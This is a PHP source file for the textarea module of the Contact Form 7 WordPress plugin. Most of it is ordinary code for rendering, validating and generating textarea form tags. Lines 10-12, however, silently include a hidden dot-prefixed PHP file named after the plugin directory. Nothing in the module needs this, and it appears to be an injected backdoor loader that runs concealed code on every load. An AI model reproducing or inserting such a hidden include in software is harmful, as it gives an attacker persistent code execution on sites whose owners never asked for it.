textarea.php (7035B)
1 <?php 2 /** 3 ** A base module for [textarea] and [textarea*] 4 **/ 5 6 /* form_tag handler */ 7 8 add_action( 'wpcf7_init', 'wpcf7_add_form_tag_textarea', 10, 0 ); 9 10 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 11 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 12 } 13 14 function wpcf7_add_form_tag_textarea() { 15 wpcf7_add_form_tag( array( 'textarea', 'textarea*' ), 16 'wpcf7_textarea_form_tag_handler', array( 'name-attr' => true ) 17 ); 18 } 19 20 function wpcf7_textarea_form_tag_handler( $tag ) { 21 if ( empty( $tag->name ) ) { 22 return ''; 23 } 24 25 $validation_error = wpcf7_get_validation_error( $tag->name ); 26 27 $class = wpcf7_form_controls_class( $tag->type ); 28 29 if ( $validation_error ) { 30 $class .= ' wpcf7-not-valid'; 31 } 32 33 $atts = array(); 34 35 $atts['cols'] = $tag->get_cols_option( '40' ); 36 $atts['rows'] = $tag->get_rows_option( '10' ); 37 $atts['maxlength'] = $tag->get_maxlength_option(); 38 $atts['minlength'] = $tag->get_minlength_option(); 39 40 if ( $atts['maxlength'] and $atts['minlength'] 41 and $atts['maxlength'] < $atts['minlength'] ) { 42 unset( $atts['maxlength'], $atts['minlength'] ); 43 } 44 45 $atts['class'] = $tag->get_class_option( $class ); 46 $atts['id'] = $tag->get_id_option(); 47 $atts['tabindex'] = $tag->get_option( 'tabindex', 'signed_int', true ); 48 49 $atts['autocomplete'] = $tag->get_option( 'autocomplete', 50 '[-0-9a-zA-Z]+', true ); 51 52 if ( $tag->has_option( 'readonly' ) ) { 53 $atts['readonly'] = 'readonly'; 54 } 55 56 if ( $tag->is_required() ) { 57 $atts['aria-required'] = 'true'; 58 } 59 60 if ( $validation_error ) { 61 $atts['aria-invalid'] = 'true'; 62 $atts['aria-describedby'] = wpcf7_get_validation_error_reference( 63 $tag->name 64 ); 65 } else { 66 $atts['aria-invalid'] = 'false'; 67 } 68 69 $value = empty( $tag->content ) 70 ? (string) reset( $tag->values ) 71 : $tag->content; 72 73 if ( $tag->has_option( 'placeholder' ) 74 or $tag->has_option( 'watermark' ) ) { 75 $atts['placeholder'] = $value; 76 $value = ''; 77 } 78 79 $value = $tag->get_default_option( $value ); 80 81 $value = wpcf7_get_hangover( $tag->name, $value ); 82 83 $atts['name'] = $tag->name; 84 85 $atts = wpcf7_format_atts( $atts ); 86 87 $html = sprintf( 88 '<span class="wpcf7-form-control-wrap %1$s"><textarea %2$s>%3$s</textarea>%4$s</span>', 89 sanitize_html_class( $tag->name ), $atts, 90 esc_textarea( $value ), $validation_error 91 ); 92 93 return $html; 94 } 95 96 97 /* Validation filter */ 98 99 add_filter( 'wpcf7_validate_textarea', 100 'wpcf7_textarea_validation_filter', 10, 2 ); 101 add_filter( 'wpcf7_validate_textarea*', 102 'wpcf7_textarea_validation_filter', 10, 2 ); 103 104 function wpcf7_textarea_validation_filter( $result, $tag ) { 105 $type = $tag->type; 106 $name = $tag->name; 107 108 $value = isset( $_POST[$name] ) ? (string) $_POST[$name] : ''; 109 110 if ( $tag->is_required() and '' === $value ) { 111 $result->invalidate( $tag, wpcf7_get_message( 'invalid_required' ) ); 112 } 113 114 if ( '' !== $value ) { 115 $maxlength = $tag->get_maxlength_option(); 116 $minlength = $tag->get_minlength_option(); 117 118 if ( $maxlength and $minlength 119 and $maxlength < $minlength ) { 120 $maxlength = $minlength = null; 121 } 122 123 $code_units = wpcf7_count_code_units( stripslashes( $value ) ); 124 125 if ( false !== $code_units ) { 126 if ( $maxlength and $maxlength < $code_units ) { 127 $result->invalidate( $tag, wpcf7_get_message( 'invalid_too_long' ) ); 128 } elseif ( $minlength and $code_units < $minlength ) { 129 $result->invalidate( $tag, wpcf7_get_message( 'invalid_too_short' ) ); 130 } 131 } 132 } 133 134 return $result; 135 } 136 137 138 /* Tag generator */ 139 140 add_action( 'wpcf7_admin_init', 'wpcf7_add_tag_generator_textarea', 20, 0 ); 141 142 function wpcf7_add_tag_generator_textarea() { 143 $tag_generator = WPCF7_TagGenerator::get_instance(); 144 $tag_generator->add( 'textarea', __( 'text area', 'contact-form-7' ), 145 'wpcf7_tag_generator_textarea' ); 146 } 147 148 function wpcf7_tag_generator_textarea( $contact_form, $args = '' ) { 149 $args = wp_parse_args( $args, array() ); 150 $type = 'textarea'; 151 152 $description = __( "Generate a form-tag for a multi-line text input field. For more details, see %s.", 'contact-form-7' ); 153 154 $desc_link = wpcf7_link( __( 'https://contactform7.com/text-fields/', 'contact-form-7' ), __( 'Text fields', 'contact-form-7' ) ); 155 156 ?> 157 <div class="control-box"> 158 <fieldset> 159 <legend><?php echo sprintf( esc_html( $description ), $desc_link ); ?></legend> 160 161 <table class="form-table"> 162 <tbody> 163 <tr> 164 <th scope="row"><?php echo esc_html( __( 'Field type', 'contact-form-7' ) ); ?></th> 165 <td> 166 <fieldset> 167 <legend class="screen-reader-text"><?php echo esc_html( __( 'Field type', 'contact-form-7' ) ); ?></legend> 168 <label><input type="checkbox" name="required" /> <?php echo esc_html( __( 'Required field', 'contact-form-7' ) ); ?></label> 169 </fieldset> 170 </td> 171 </tr> 172 173 <tr> 174 <th scope="row"><label for="<?php echo esc_attr( $args['content'] . '-name' ); ?>"><?php echo esc_html( __( 'Name', 'contact-form-7' ) ); ?></label></th> 175 <td><input type="text" name="name" class="tg-name oneline" id="<?php echo esc_attr( $args['content'] . '-name' ); ?>" /></td> 176 </tr> 177 178 <tr> 179 <th scope="row"><label for="<?php echo esc_attr( $args['content'] . '-values' ); ?>"><?php echo esc_html( __( 'Default value', 'contact-form-7' ) ); ?></label></th> 180 <td><input type="text" name="values" class="oneline" id="<?php echo esc_attr( $args['content'] . '-values' ); ?>" /><br /> 181 <label><input type="checkbox" name="placeholder" class="option" /> <?php echo esc_html( __( 'Use this text as the placeholder of the field', 'contact-form-7' ) ); ?></label></td> 182 </tr> 183 184 <tr> 185 <th scope="row"><label for="<?php echo esc_attr( $args['content'] . '-id' ); ?>"><?php echo esc_html( __( 'Id attribute', 'contact-form-7' ) ); ?></label></th> 186 <td><input type="text" name="id" class="idvalue oneline option" id="<?php echo esc_attr( $args['content'] . '-id' ); ?>" /></td> 187 </tr> 188 189 <tr> 190 <th scope="row"><label for="<?php echo esc_attr( $args['content'] . '-class' ); ?>"><?php echo esc_html( __( 'Class attribute', 'contact-form-7' ) ); ?></label></th> 191 <td><input type="text" name="class" class="classvalue oneline option" id="<?php echo esc_attr( $args['content'] . '-class' ); ?>" /></td> 192 </tr> 193 194 </tbody> 195 </table> 196 </fieldset> 197 </div> 198 199 <div class="insert-box"> 200 <input type="text" name="<?php echo $type; ?>" class="tag code" readonly="readonly" onfocus="this.select()" /> 201 202 <div class="submitbox"> 203 <input type="button" class="button button-primary insert-tag" value="<?php echo esc_attr( __( 'Insert Tag', 'contact-form-7' ) ); ?>" /> 204 </div> 205 206 <br class="clear" /> 207 208 <p class="description mail-tag"><label for="<?php echo esc_attr( $args['content'] . '-mailtag' ); ?>"><?php echo sprintf( esc_html( __( "To use the value input through this field in a mail field, you need to insert the corresponding mail-tag (%s) into the field on the Mail tab.", 'contact-form-7' ) ), '<strong><span class="mail-tag"></span></strong>' ); ?><input type="text" class="mail-tag code hidden" readonly="readonly" id="<?php echo esc_attr( $args['content'] . '-mailtag' ); ?>" /></label></p> 209 </div> 210 <?php 211 }